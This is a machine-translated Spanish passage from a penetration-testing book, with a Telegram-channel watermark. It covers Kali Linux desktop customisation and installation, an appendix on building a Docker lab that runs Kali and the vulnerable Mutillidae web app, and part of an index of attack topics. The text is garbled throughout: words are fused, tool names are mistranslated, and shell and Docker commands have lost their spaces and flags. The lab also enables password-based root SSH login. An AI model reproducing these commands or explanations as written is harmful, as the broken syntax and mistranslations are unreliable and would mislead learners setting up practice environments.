La Figura A.38 muestra cómo se verá el panel superior después de implementar esos cambios.
Adición de un nuevo panel inferior
Canal de Telegram : @IRFaraExam
Machine Translated by Google
A continuación, creará otro panel dedicado a los accesos directos de aplicaciones. Puede elegir las aplicaciones
que desee, pero para este ejercicio agregará accesos directos a los siguientes:
Administrador de archivos
Nmap
Eructar
Ventana de terminal
metasploit
editor de texto
navegador web
Tiburón alambre
Búsquedasploit
Figura A.37 Configuración del panel
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.38 Cambios en el panel superior
Adición de panel
Para crear un nuevo panel, abra Configuración ÿ Panel y haga clic en el ícono más cerca del panel
seleccionado, que en este caso es el Panel 1 (Figura A.39).
Figura A.39 AgregandoPanel
Una vez que haga clic en el icono más, aparecerá un nuevo panel pequeño. Arrástrelo hasta la parte inferior
de la pantalla. Es importante tener en cuenta que debe centrarlo manualmente en el centro de la pantalla.
A continuación, configure el Panel 2 con los ajustes que se muestran en la Figura A.40.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.40 Configuración del nuevo panel
Empecemos a agregar los accesos directos. Todo esto, simplemente abra el menú y busque la
aplicación que desea agregar, luego haga clic con el botón derecho y seleccione Agregar al panel,
como se muestra con el editor de texto en la Figura A.41.
Figura A.41 Agregar al panel
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Siga el mismo procedimiento para todas las demás aplicaciones enumeradas anteriormente. La
Figura A.42 muestra el resultado final.
Figura A.42 Resultados finales
Cambiarelaspectodelescritorio
Puede acceder a la configuración de su escritorio (oa cualquier otro módulo como el panel, el menú,
etc.) haciendo clic con el botón secundario en el escritorio y seleccionando Configuración del escritorio
en el menú, como se muestra en la Figura A.43. Este es un acceso directo rápido y fácil en lugar de abrir
el menú y hacer clic en el acceso directo de Configuración.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.43 Configuración de escritorio
CambioEscritorioFondo
Después de abrir la ventana Configuración de escritorio, vaya a la pestaña Fondo para cambiar la
imagen de fondo . Seleccione la última piedra en la lista (Figura A.44).
Figura A.44 Fondo de escritorio
Cambiar iconos de escritorio
Haga clic en la pestaña Iconos (en la ventana Configuración de escritorio) para realizar los dos cambios
siguientes, que se muestran en la Figura A.45:
Establezca el tamaño de fuente de los iconos en 58.
Quite el icono del sistema de archivos del escritorio.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La Figura A.46 muestra el hermoso aspecto de su nuevo escritorio.
Instalación de KaliLinux desde cero
Anteriormente, aprendió a instalar una copia de máquina virtual preempaquetada de KaliLinux, por
lo que puede seguir este apéndice. Pero supongamos que tiene una PC dedicada, como una
computadora portátil, y desea instalar Kali Linux como sistema operativo principal. Necesitará una
imagen ISO de Kali Linux para realizar el trabajo.
Por supuesto, también puede usar un ISO para instalar un hipervisor Kaliona (p. ej., VMware,
VirtualBox o Hyper-V). Eso es lo que hago personalmente cuando quiero experimentar con el nuevo
proceso de instalación de cada versión de Kali Linux.
Figura A.45 Configuración de iconos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.46 Desktop New Look
La primera ventana que ve al instalar el sistema operativo Kali Linux desde cero es el
menú de inicio. En esta pantalla, elija Instalación gráfica (Figura A.47) de la lista y
presione Enter en su teclado.
Figura A.47 Instalación gráfica
A continuación, elija el idioma que desea usar para Kali Linux (para este ejercicio,
seleccionaremos inglés, que se muestra en la Figura A.48), y después de esta pantalla,
se le pedirá que elija la ubicación de su país (para este ejercicio, elegiremos Estados
Unidos).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.48 Idioma
Una vez que haya seleccionado su región, la imagen de Kali se copiará en su host (también
sondeará su red) y luego se le permitirá ingresar un nombre de host para su Kali .
Luego se le pedirá que ingrese el nombre de dominio. Deje esta ventana vacía a menos que
desee unirse a un dominio.
A continuación, se le pedirá que ingrese su nombre completo, como se muestra en la Figura A.50,
y en el siguiente paso, se le pedirá que ingrese la cuenta con privilegios bajos
nombre de usuario.
Después de configurar el nombre de usuario, se le pedirá que ingrese su contraseña dos
veces para asegurarse de que no cometió ningún error en esta etapa (Figura A.51).
Siguiendo la contraseña, configurará el reloj y la zona horaria del país donde vive.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.49 Nombre de host
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.50 UserFullName
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.51 Contraseña de usuario
A continuación, comenzará a crear particiones en los discos y, en este ejercicio, elija la opción
Guiado: Usar todo el disco, como se muestra en la Figura A.52. Si desea instalar Kali en una
computadora portátil de producción, entonces debe seleccionar la opción Guiada: usar todo el
disco y configurar LVM cifrado.
Luego, seleccione el disco que desea particionar (Figura A.53).
Aún no hemos terminado con el particionamiento del disco. En el siguiente paso, se le pedirá
que elija el esquema para su partición. Yo siempre elijo Todos los archivos en una partición
(Figura A.54), pero si desea seleccionar una partición separada, no dude en hacerlo.
En esta etapa, podrá ver la partición de su disco de partición antes de comenzar a cambiar
el disco (Figura A.55).
Una vez que haya terminado de escribir este cambio en la partición, se le pedirá que instale
el software (Figura A.56). Las opciones predeterminadas son
Canal de Telegram : @IRFaraExam
Machine Translated by Google
excelente sin ningún cambio, pero siéntete libre de hacer tus propias elecciones.
Luego, si está instalando Kali Linux como su sistema operativo principal en una
computadora (o VM), entonces deberá habilitar el cargador de arranque GRUB (Figura
A.57).
Figura A.52 Discos de partición Paso 1
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.53 Discos de partición Paso 2
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.54 Discos de partición Paso 3
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.55 PartitionDisksFinalStep
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.56 Selección de software
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.57 GRUBLoader
La pantalla final mostrará que la instalación se ha completado (Figura
A.58) .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura A.58 Realización de la instalación
Resumen
La suposición es que usted descargó una copia de máquina virtual de
Kali Linux y comenzó a practicar los ejercicios en este apéndice.
Idealmente, disfrutó de leerlo y aprendió algo nuevo.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
APÉNDICE B
BuildingaLabEnvironmentUsingDocker
En el Apéndice A, aprendió cómo instalar Kali desde cero usando un archivo ISO.
Este tipo de instalación es típica para un host de producción en el que
instala Kalito y lo usa con compromisos de prueba de penetración real.
Aquí profundizaremos en Docker y verá cómo funcionan las
imágenes y los contenedores en la práctica.
Los contenedores Docker son nuevos para algunas personas, así que aproveche este apéndice
para aprender cómo funciona practicando los ejercicios. Verá algunos escenarios prácticos
que le ayudarán a manejar los contenedores Docker. No se preocupe, al final de este apéndice
comenzará a usar Docker como un profesional.
En este apéndice, obtendrá información sobre lo siguiente:
Administración de imágenes en Docker Creación de
contenedores Docker
Descripción de las redes y los volúmenes de Docker
Practicar con un entorno Docker virtual
DockerTecnología
La figura B.1 muestra algunos comandos de Docker.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura B.1 Comandos de Docker
Conceptos básicos de Docker
Dockerissimilarto (butnotthesameas!) Ahypervisor.Theprincipal
componentisaDockerimage.Forexample, theKaliLinuximageislikeanISO
filebutwithoutanoperatingsystem.You'lldownloadyourimagefromDocker Hub,
andthenyoucanuseittocreatecontainers.What'sinterestingaboutthis
conceptisthatyoudon'thavetoinstallanoperatingsystemtorunit; itusesthe Hostos
(whereDockerisinstalled) torunthecontainers.Forexample, ifyou haveawebapplication,
youcangetanApacheimageforrunningthewebserver (insideacontainer)
andanotherMySQLimagetorunthedatabaseinsidea contenedor (ver FigureB .2).
DockerInstalación
Usaremos una máquina virtual de host de escritorio Ubuntu para instalar Docker. No uso
Kali Linux como host para Docker, pero puede hacerlo en caso de que no quiera usar
Ubuntu:
ubuntu:~$sudoaptupdate&&sudoaptinstalldocker.io-y
¡Eso es todo! Ahora está listo para comenzar a usar Docker (después de que se
complete la instalación). A continuación, cambiaremos al usuario raíz para
interactuar con la línea de comandos de Docker .
$sudousermod-aGdocker[nombre de usuario]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura B.2 Ejemplo de DockerContainer
Además, puede iniciar/detener Docker manualmente mediante los siguientes comandos:
$serviciodockerstart
$serviciodockerstop
¿Por qué usamos Docker de todos modos? ¿No podemos usar simplemente
una máquina virtual? La respuesta simple es que los contenedores de Docker
son livianos en comparación con las máquinas virtuales.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
elaborará más sobre imágenes y contenedores en las próximas secciones). La
integración continua/implementación continua de automatización de canalización (CI/
CD) se puede realizar utilizando un orquestador como Jenkins o TFS (aquí es donde un
DevOp guardará sus comandos de Docker).
Imágenes y registros Las
imágenes de Docker son como archivos ISO pero no iguales (solo las estamos
comparando para que pueda entender el concepto, pero son diferentes). Puede
descargar (extraer) imágenes del repositorio de Docker Hub ubicado en hub.docker.com/ .
Para usar DockerHub, puede descargar imágenes sin crear una cuenta.
Las imágenes tienen un sistema de archivos mínimo; empecemos a practicar descargando una
imagen Docker de Kali Linux:
root@ubuntu:~#dockerpullkalilinux/kali
A continuación, revisemos las imágenes descargadas actualmente en nuestro host:
root@ubuntu:~#dockerimages
Si tiene curiosidad y desea consultar las imágenes de Kali en Docker Hub,
puede visitar su repositorio en hub.docker.com/u/kalilinux.
Fácil, ¿verdad? Ahora estamos listos para usar nuestro contenedor usando la imagen que
acabamos de descargar.
Antes de pasar al tema de los contenedores, aquí hay una lista rápida de cómo administrar
sus imágenes:
#Parabuscarunaimagenenelregistro
$dockersearch[ImageName]
#Paradescargarunaimagendesdeunregistro
$dockerpull[ImageName]
#Paracargarunaimagenaunregistro
$dockerpush[nombre de usuario/Nombre de la imagen]
#Tolistthelocalhostimages $dockerimages
#Paraeliminarunaimagenenelhost
$dockerrmi[ImageName]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Contenedores
Ahora que hemos descargado la imagen en nuestra VM de Ubuntu, el siguiente paso es
ejecutarla:
root@ubuntu:~#dockerrun-itd-namekali_016820b888e0ab
ÿi :Modo interactivo;mantendrá el testdinabierto
-t :Willallocatea pseudo-tty
ÿd :modo separado;ejecutará el contenedor en segundo plano
ÿÿname :Proporcione el nombre de su contenedor
Es importante comprender que puede ejecutar tantos contenedores como desee desde la
misma imagen de Docker (igual que las máquinas virtuales donde puede tener varios desde
la misma imagen ISO). A continuación, verifiquemos la información del contenedor en ejecución:
root@ubuntu:~#dockerps-a
¡Muy bien! Según el estado, el contenedor está en funcionamiento.
Ahora es el momento de comenzar a interactuar con el Kalicontainer usando el
comando exec :
root@ubuntu:~#dockerexec-itkali_o1/bin/bash root@4897450e4598:/
#uname-a Linux4897450e45984.15.0-91-generic#92-UbuntuSMP
PROPINA
Sugerencia: para salir del contenedor y volver a la sesión del terminal host,
simplemente escriba el comando de salida .
Hemos iniciado sesión como usuario raíz y el sistema operativo utilizado para este contenedor
está basado en Ubuntu porque el contenedor comparte el sistema operativo host (que es
Ubuntu).
root@4897450e4598:/#msfconsole
bash:msfconsole:comando no encontrado
Los contenedores Docker son muy livianos (memoria/CPU/consumo de disco) para el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
sistema host. Para visualizar los consumos, puede ejecutar htop o el siguiente
comando ps :
$ps-aux|grepDocker
ParainstalarlasherramientasnecesariasenelcontenedorKalicon,puedeejecutarelsiguientecomando
root@4897450e4598:/#apt-getinstall-y\ >nmap\ >metasploitframework\ >sqlmap\ >gobuster\ >listas de palabras\
>nano\ >nfs-common\ >cifs-utils\ >git\ >&&apt-getclean
PROPINA
El \ al final de cada línea significa que el comando continuará en la línea
siguiente, o bien se tratará como un retorno de carro.
Dockerfile
¡Hay buenas noticias! Puede crear su propia imagen y preinstalar todas las
herramientas en lugar de hacerlo manualmente cada vez. Para hacer el trabajo,
debe crear un archivo y darle el nombre docker file sin extensión.
#KaliLinuxImagenBase
DESDEkalilinux/kali
#Actualizar+Actualizar
RUNaptupdate&&aptupgrade-y
#Instalar herramientas
RUNapt-getinstall-y\ nmap\
metasploit-framework\ sqlmap\
gobuster\
Canal de Telegram : @IRFaraExam
Machine Translated by Google
listas de
palabras\ nano\
nfs-common\
cifs-utils\ git\
&&apt-getclean
#GetseclistfromGitHubandsaveitinthe/optfolder RUNgitclonehttps://github.com/
danielmiessler/SecLists.git/opt/seclists #SetworkingDir WORKDIR/root/
A continuación, construimos la imagen usando el archivo docker anterior (en el siguiente
código, el punto al final significa que el archivo docker está en el mismo directorio actual):
root@ubuntu:/home/gus/Documents#ls dockerfile
root@ubuntu:/home/gus/Documents#dockerbuildtkali_custom.
Después de compilar todos los paquetes, se creará una nueva imagen localmente en su
máquina host:
root@ubuntu:/home/gus/Documentos#dockerimages
Tome nota del tamaño de la nueva imagen en comparación con la original del registro de
Kali.
Volúmenes
No hemos hablado sobre el almacenamiento de datos hasta ahora. En la tecnología
Docker, usamos volúmenes para guardar datos. El contenedor que se inició anteriormente
sellará todos los datos una vez que el contenedor se detenga.
root@ubuntu:/home/gus/Documentos#dockerrun-itd-namekali_03-v/home/gus:/
roota4000ah7777
Todo lo que necesitábamos hacer en el comando anterior para agregar la opción ÿv (v
significa volumen) al comando de ejecución . Después, definiremos que el directorio
de inicio en el host de Ubuntu— /home/gus— se asignará a la carpeta /root dentro del
contenedor. Ahora, si accedemos al contenedor de Kali, veremos el mismo contenido en el
directorio de inicio que el directorio de inicio de gus en el host de Ubuntu:
root@ubuntu:/home/gus/Documentos#dockerexec-itkali_03/bin/bash
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Redes
¿Cómo puede encontrar la dirección IP de su contenedor? Tenemos varios contenedores
ejecutándose en este momento; elegiremos el Kali_03 como ejemplo .
root@ubuntu:/home/gus/Documents#dockerinspectKali_03|grepIPAddress
root@ubuntu:/home/gus/Documents#dockerinspect-f"{{.NetworkSettings.IPAddress}}"kali_03
No se puede acceder directamente a esta subred desde nuestra máquina anfitriona Ubuntu; es por
eso que necesitamos usar la ÿp (que significa puertos) para acceder a los contenedores especificando
primero los puertos abiertos.
Por ejemplo, si desea acceder a Kalius mediante SSH, debe especificar el puerto
cuando ejecuta el comando de ejecución mediante la opción ÿp . En el siguiente
comando, le decimos a Docker que queremos usar el puerto 2222 en el host para
acceder a SSH en Kali. Además, tenga en cuenta que estamos usando la imagen
kali_custom que creamos anteriormente:
root@ubuntu:/home/gus/Documentos#dockerrun-itd-namekali_04-p2222:22kali_custom
En esta etapa, necesitamos instalar el servidor SSH dentro del contenedor Kalicon porque no está
instalado de manera predeterminada:
root@ubuntu:/home/gus/Documentos#dockerexec-itkali_04/bin/bash
A continuación, establezca una contraseña para su cuenta de Kaliroot:
root@48394888f:~#passwdroot
El paso final es permitir que el usuario root use SSH. Para que esto funcione,
necesitaremos cambiar el archivo de configuración de SSH /etc/ssh/sshd_config y
asegurarnos de agregar la línea Permit RootLoginyes .
Y no olvide reiniciar el servidor SSH después de guardar el archivo de configuración
SSH:
root@48394888f:~#nano/etc/ssh/sshd_config
Ahora podemos usar SSH (desde cualquier host en la red) para iniciar sesión de forma remota en el
Kalicocontainer:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
gus@ubuntu:~$sshroot@localhost-p2222
¿Se pregunta cómo obtuvo el contenedor Kali su dirección IP? La respuesta
simple es que Docker usa un modo puente para asignar direcciones IP.
root@ubuntu:~#dockernetworkinspectbridge
MutillidaeDockerContainer
No necesitamos una máquina virtual completa solo para ejecutar una
aplicación web (es un desperdicio de recursos), ¿verdad? Los contenedores
Docker son útiles para tales situaciones.
Primero, descargue la imagen desde DockerHub a su host local de Ubuntu:
root@ubuntu:~#dockerpullcitizenstig/nowasp
En segundo lugar, ejecute el contenedor. Por cierto, podríamos haber ignorado el
primer paso anterior y ejecutar el comando ejecutar en su lugar. El comando ejecutar
verificará si tiene una copia local de la imagen; si no, la descargará automáticamente
desde DockerHub:
root@ubuntu:~#dockerrun-itd-p8080:80–namemutillidae_01citizenstig/nowasp
Usamos la opción ÿp para decirle a Docker que se accederá al
contenedor mediante el puerto 8080 desde el host de Ubuntu (en otras
palabras, el puerto 80 del contenedor se asignará al puerto 8080 en el
.
host) .
A continuación, se le pedirá que configure la base de datos (consulte la Figura B.3) y, después de eso,
el sitio debería estar en funcionamiento.
¡ Y listo! (ver Figura B.4). Ahora tiene un laboratorio vivo listo para ser explotado en
menos de un minuto.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura B.3 MutillidaeDBInit
Figura B.4 Página de inicio de Mutillidae
Resumen
Docker es un gran invento para crear entornos y servicios virtuales rápidamente.
Lo que ha aprendido en este apéndice son los escenarios prácticos de esta
tecnología. Por supuesto, hay muchas cosas que no cubre, pero si practicó los ejercicios,
seguramente podrá comenzar a usar Docker usted mismo.
Cuando comencemos los ataques de prueba de penetración, verá una vez más cómo
explotar los contenedores Docker, pero primero debe comprender los fundamentos que
cubrimos en este capítulo.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Índice
A
ÿuna orden, 15
listas de control de acceso (ACL), 286
Hashes de ActiveDirectory, 310
Protocolo de resolución de direcciones (ARP), 68–69, 73
modos de direccionamiento, 361
Adyacente (A), en CVSS, 347
Estándar de cifrado avanzado (AES), 326–328
fase de enumeración avanzada
sobre, 125–126
Protocolos CI/CD, 143–151
protocolos de base de datos, 142–143
protocolos de intercambio de archivos, 154–
158 protocolos de comunicación remota gráfica, 152–
154 protocolos de transferencia, 126–142
Protocolos web 80/443 , 151
Ventana AdvancedNetworkConfiguration(KaliXfceDesktop), 435–436 advancedscriptingscan,
128–129, 131–132, 136
Pestaña avanzada (KaliXfceDesktop), 442, 445
anacrontab,266
Fase de análisis/arquitectura (SDLC), 251–252
Instalación de ApacheWebServer, 200
Ficha Apariencia (KaliXfceDesktop), 436, 450
Pestaña de accesos directos de aplicaciones (KaliXfceDesktop), 446–447
Canal de Telegram : @IRFaraExam
Machine Translated by Google
modelado de amenazas de aplicaciones,
251 comando aptinstall , 41
comando aptÿcacheshow , 40–41
arquitectura (Windows), 275
argumentos, 84, 395, 401–402
operadores aritméticos, 397
comando arp-scan , 73
lenguaje ensamblador e ingeniería inversa
sobre, 353
modos de direccionamiento, 361
instrucciones de montaje, 358–360
Registros de CPU, 353–357
tipos de datos, 360
segmentos de memoria, 361
ejemplo de ingeniería inversa, 361–367
activos, 251–252
cifrado asimétrico, 328–331
Complejidad de ataque (AC), en CVSS, 347
modos de ataque, 336–343
Vector de ataque (AV), en CVSS, 346–347
scripts automatizados , 270–271
análisis de vulnerabilidades automatizado, 237–238
Disponibilidad (A), en CVSS, 348
comando awk , 27–28
B
Ficha de fondo (KaliXfceDesktop), 439–440 bashscripting
Canal de Telegram : @IRFaraExam
Machine Translated by Google
sobre, 49–50
básico, 50
condiciones, 57–62
funciones, 56–57
bucles, 57–62
imprimiendo en la pantalla, 50–52
parámetros de guión, 54–56
entrada del
usuario, 56 variables, 52–54
Bashshell, 193
apaleamientoramataque, 240
Ficha de comportamiento (KaliXfceDesktop), 445–446
pruebas comparativas, 332–334 directorio /bin , 2
encuadernación, 111–112
/bootdirectory,2
ataques de fuerza bruta
sobre, 129–130
avanzado, 133–134
con Hydra, 136, 150–151
máscara y, 339–342
Cuentas de correo electrónico POP3, 141–142
Protocolo de escritorio remoto (RDP), 152–153
PYME, 156–157
SSH con Hydra, 132
Portales web usando Hydra , 147–151 etapa
de fuerza bruta, 423–424
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tamaño de búfer, desbordamiento de pila y, 382–383
búfer/desbordamiento de pila
sobre, 369
fundamentos de, 369–378
análisis de búfer con Immunity Debugger, 372–376
Ejemplo de programa, 371–372
Instrucción POP, 371
PUSHinstrucción, 370–371
explotación de desbordamiento de pila , 378–388
mecanismos de desbordamiento de pila, 376–377
variables del conjunto de objetos integrados, 340–341
BurpExtendertab(BurpSuite), 241–244
BurpSuite
sobre, 231
análisis automático de vulnerabilidades, 237–238
BurpExtendertab, 241–244
creación de informes, 244–245
elementos del sitio de enumeración, 236–237
Pestaña Intrusos, 239–241
apoderado, 234
Ficha repetidor, 238–239 ciclo
de vida de desarrollo de software seguro (SDLC), 250–255
Ficha Objetivo, 234–236
Webenumeración y explotación, 231–250
Pruebas de penetración web, 232–245
C
comando gato , 4, 13, 24, 28
Canal de Telegram : @IRFaraExam
Machine Translated by Google
exploración de categorías, 82–84
C/C++
ejemplo, 371–372
VisualStudio Codefor, 362–363
comando cd , 2, 23
Cambiado (C), en CVSS, 347
personajes, malos, 386–387
suma de control, 320
comando chmod , 18
Protocolos CI/CD
sobre, 143
Portales web de fuerza bruta usando Hydra, 147–151
Ventana acoplable (Puerto 2375), 144–145
Jenkins (Puerto 8080/50000), 145–147
Enrutamiento entre dominios sin clases (CIDR), 69–70
comando claro , 4
cleartextinformation,sniffingfor, 180–183
CLI, 395
ataque en racimo, 240
refactorización de código, 417
carácter de colon(:), 15, 400
combinador, 337–338
inyección de comando, 217
comandos Vertambiéncomandosespecíficos
base de datos ejecutiva, 210–215
ventana de terminal, 3–6
usuario, 10–13
Canal de Telegram : @IRFaraExam
Machine Translated by Google
comandosvariable, 54
comentarios, en Python, 393
Common Vulnerability Scoring System (CVSS), 346–349
operadores de comparación, 403–404
compresión, archivos, 21–22
condiciones, 57–62, 403
Confidencialidad(C),enCVSS, 347
conexiones
establecido, 46–47
a acciones SMB, 196–197
constructores, 408
contenedores
Estibador , 470–474
corriendo, 187
tipo de contenido, 227
control de EIP, 383–385 función
de copia sobre escritura (COW), 258–261
Impacto central, 169
función de conteo , 399
portada, para informes, 350
comando cp , 19
registros de CPU
sobre, 353–354
bandera, 357
general, 354–355
índice, 355
puntero, 355
Canal de Telegram : @IRFaraExam
Machine Translated by Google
segmento, 355–356
CrackMapExectotool, 310–312
gateando, 246
CRONjobsprivilegeescalation, 264–267 crontab, 265
falsificación de solicitud entre sitios (CSRF), 220–223
secuencias de comandos entre sitios (XSS)
sobre, 203
explotando usando encabezado, 205–207
reflejado, 203–204
almacenado, 204–205
cryptographyandhashcracking about, 319
conceptos básicos de criptografía, 319–331
conceptos básicos de encriptación, 326–328
código autenticado de mensaje basado en hash (HMAC), 325 contraseñas
hash, 323–325
Algoritmo de hash seguro (SHA), 323
utilizandoHashcat, 331–343
flujo de trabajo para el cracking de hash, 343
juegos de caracteres personalizados, 341–342
comando cortar , 27–28
D
diagrama de flujo de datos, 252
tipos de datos, 360
protocolos de base de datos
sobre, 142
Canal de Telegram : @IRFaraExam
Machine Translated by Google
MicrosoftSQLServer(Puerto1433), 142
MySQL (Puerto 3306), 143
Servidor de base de datos Oracle (Puerto 1521), 143
bases de datos
instalación, 201–202
consultando, 208–210
configuración, 201–202
depuración de Pythonscripts, 391–392
defaultscript, 128
Ventana de escritorio (KaliXfceDesktop), 439
directorio /dev , 2
Fase de desarrollo (SDLC), 252–255
DevSecOps, 199
diccionario, 336–337, 400
resumen, 320
directorios, 23–24
dirtycowkernelexploit, 258–261 unidades de
disco, listado, 276
Ficha de visualización (KaliXfceDesktop), 441–444, 449–450
mostrar archivos/carpetas, 15–16
Dmitry, 99
Envenenamiento por DNS, 46
Ventana acoplable (Puerto 2375)
sobre, 144–145, 467
fundamentos de, 468
explotación, 185–190
hostexploitation, 188
Canal de Telegram : @IRFaraExam
Machine Translated by Google
instalación, 468–469
tecnología de, 468–475
Docker Hub, 470
archivo acoplable , 472
Sistema de nombres de dominio (DNS), 45–46
Enumeración del sistema de nombres de dominio (DNS)
sobre, 84
DNSfuerza bruta, 85–86
Subdominios DNS, 87–88
Transferencia de DNS, 86–87
comillas dobles, 52
descargando
Kaliimágenes, 186
PowerShellscript, 120–121
máquinas virtuales (VM), 428–429
comando dpkg , 40
PatoPatoGo, 91
Herramienta DynamicApplicationSecurityTesting(DAST), 255
reenvío dinámico de puertos, 316–317
Y
comando de eco , 50, 189–190
Cortafuegos de ECorp, 312–313
EIP, control, 383–385
correo electrónico, envío, 106–110
protocolos de correo electronico
sobre, 136–137
IMAP4 (Puerto 143), 141–142
Canal de Telegram : @IRFaraExam
Machine Translated by Google
POP3 (Puerto 110), 141–142
SMTP (Puerto 25), 137–141
servidor de correo electrónico, explotación, 183–185
habilitación de proxies, 148–149
codificación, 227–228
cifrado
asimétrico, 328–331
fundamentos de, 326–328
simétrica, 326
puntos de entrada, 252
enumerando Véase también fase de enumeración avanzada
sobre, 246
CRON, 266–267
elementos del sitio, 236–237
SNMP, 157–158
usuarios, 138–141
Sistema Windows, 273–284 flujo
de trabajo para, 127, 135
mensajes de error, 150
conexiones establecidas, 46–47
directorio /etc , 2
foreverblueexploit, 197–198
manejo de excepciones, 407
comandos ejecutivos de bases de datos, 210–215
fase de explotación
sobre, 161
explotación de servicios, 173–198
Canal de Telegram : @IRFaraExam
Machine Translated by Google
evaluación de vulnerabilidades, 162–172
escenarios de explotación
para servidores FTP, 126–127
para servidores SSH, 130–131
para servidor Telnet, 135
explotando
sobre, 169–171
CRON, 266–267
secuencias de comandos entre sitios (XSS) mediante encabezado, 205–207
Ventana acoplable (Puerto 2375), 185–190
servidor de correo electrónico, 183–185
Protocolo de transferencia de archivos (FTP) (Puerto 21), 173–177
Comando de búsqueda , 268–269
encontrar coincidencias, 288–289
Jenkins, 190-193
servicios en ejecución, 270
tareas programadas, 302
SearchSploit, 171–172
servicios en Windows, 297–302
Protocolo SMB, 196–198
Servicio SSH, 178–179
desbordamiento de pila , 378–388
Telnet (Puerto 23), 179–183
Webenumerationand, 231–250
Aplicaciones de Windows, 293–296
Sistema Windows, 286–303 extracción
de datos de formulario, 150–151
Canal de Telegram : @IRFaraExam
Machine Translated by Google
F
falso positivo, 82
Elemento de menú de favoritos (KaliXfceDesktop), 430–432
comando fdisk , 37
Herramienta feroz, 87–88
comando de archivo , 19
inclusión de archivos
sobre, 217–218
local (LFI), 218 remoto
(RFI), 219–220
fileiteración, 61–62
FileManager(KaliXfceDesktop), 442–443 renombrar archivo,
226–227
protocolos de intercambio de archivos
sobre, 154
SMB (Puerto 445), 154–157
SNMP (PortUDP 161), sistema de archivos
157–158
sobre, 2–3
comandos básicos de ventana de terminal, 3–6
Ventana Tmuxterminal, 6–10
Protocolo de transferencia de archivos (FTP) (Puerto 21), 126–130, 173–177
Protocolo de transferencia de archivos seguro (FTPS), 126
transferencias de archivos
sobre, 47–48, 284
Destino de host de Linux, 285–286
Destino de host de Windows, 284–285
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Subir archivo
sobre, 223
eludiendo la validación, 225–226
tipo de contenido,
codificación 227 , 227–228
filerename, 226–227
contenido de la carga útil, 227
simple, 223–225
condiciones de archivo/directorio, 60
gestión de archivos/carpetas
sobre, 406–407
visualización de archivos/carpetas, 15–16
compresión de archivos, 21–22 filtrado
de texto, 27–28
gestión de archivos de texto, 24–26
manipulación de directorios, 23
manipulación de archivos, 19–20
montaje de directorios, 23–24
permisos, 16–19
buscando archivos, 20–21
búsqueda de texto, 27–28
vim contra nano, 26–27
Estándar de jerarquía del sistema de archivos (FHS), 2
filtrado de texto, 27–28
buscar comando, 20–21, 261, 268–269
Buscar función, 399
comando findstr , 275
Canal de Telegram : @IRFaraExam
Machine Translated by Google
huellas dactilares,huellas versus, 90
Configuración del cortafuegos, 201
registros de marcas,
357 Focustab (KaliXfceDesktop), 452–453
administración de carpetas. Ver gestión de archivos/carpetas
Fontstab (KaliXfceDesktop), 438
huella,huellas dactilares versus, 90
bucle for , 61–62, 405
datos de formulario, extracción, 150–
151 solicitudes de formulario, interceptación, 149–150
cadenas de formato, 397–398
barra diagonal(/), 2
comando de actualización completa , 40
funciones
Basscriptand, 56–57
hachís unidireccional, 320–321
Pitón, 400–402
cuerda, 398–399
GRAMO
Ficha General(KaliXfceDesktop), 442
comando git , 47
variables globales, 57, 402
Go Buster, 246
google, 91
idiotas de Google, 92
Consultas de Google, 92–94
Protocolos gráficos remotos, 152–153
Canal de Telegram : @IRFaraExam
Machine Translated by Google
gráficos, creación, 100–103
comando grep , 13, 15, 20, 24–25, 27–28, 196
comando groupadd , 14
grupos
sobre, 286
listado, 277–279
gestión en Kali, 10–15
H
información de hardware, 36–38
crackeo de hash Consulte cryptographyandhashcracking
hashdump, 306–307
código autenticado de mensaje basado en hash (HMAC), 325
hachís
archivos de juego de caracteres, 342
usando, 331–343
hash
algoritmos, 321
fundamentos de, 320–322
contraseñas, 323–325
reutilización de hashes, 310–312
escenarios, 321
Ventanas, 306–312
mando principal , 24–25
encabezados,explotandoXSSusando, 205–207
Alto (H), en CVSS, 347, 348
comando de historia , 5
registros históricos, para informes, 350
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/ directorio de inicio, 3
comando de host , 86
información del anfitrión, 36
hostingPowerShellscripts, 119–120
comando de nombre de host , 36
Enumeración HTTP, 81–82
ataques híbridos , 342–343
Hidra
uso de portales web de fuerza bruta , 147–151
fuerza bruta con, 136, 150–151
SSHcon, 132
I
comando icacls , 282
Icontab(KaliXfceDesktop), 437, 441
iconos,eliminación, 454
comando id , 12–13
identificación de hosts vivos, 72–74
declaración if , 58–59, 403
comando ifconfig , 43
sentencia if/else , 403
imágenes, Docker, 469–470
IMAP4 (Puerto 143), 141–142
Depurador de inmunidad
análisis de búfer con, 372–376
para ingeniería inversa, 363–367
importar módulos, 394
registros de índice, 355
Canal de Telegram : @IRFaraExam
Machine Translated by Google
inyección de carga útil, 386–388
entrada, 394–395
validación de entrada, 415–417
InsightVM, 162
parches instalados, 276
instalando
VScode, 391–392
base de datos, 201–202
Estibador , 468–469
KaliLinux, 458–466
OpenVAS, 164–165
PHP, 201
instanciar, 408
Integridad(I),enCVSS, 348
interactuando con los servicios de Windows, 297
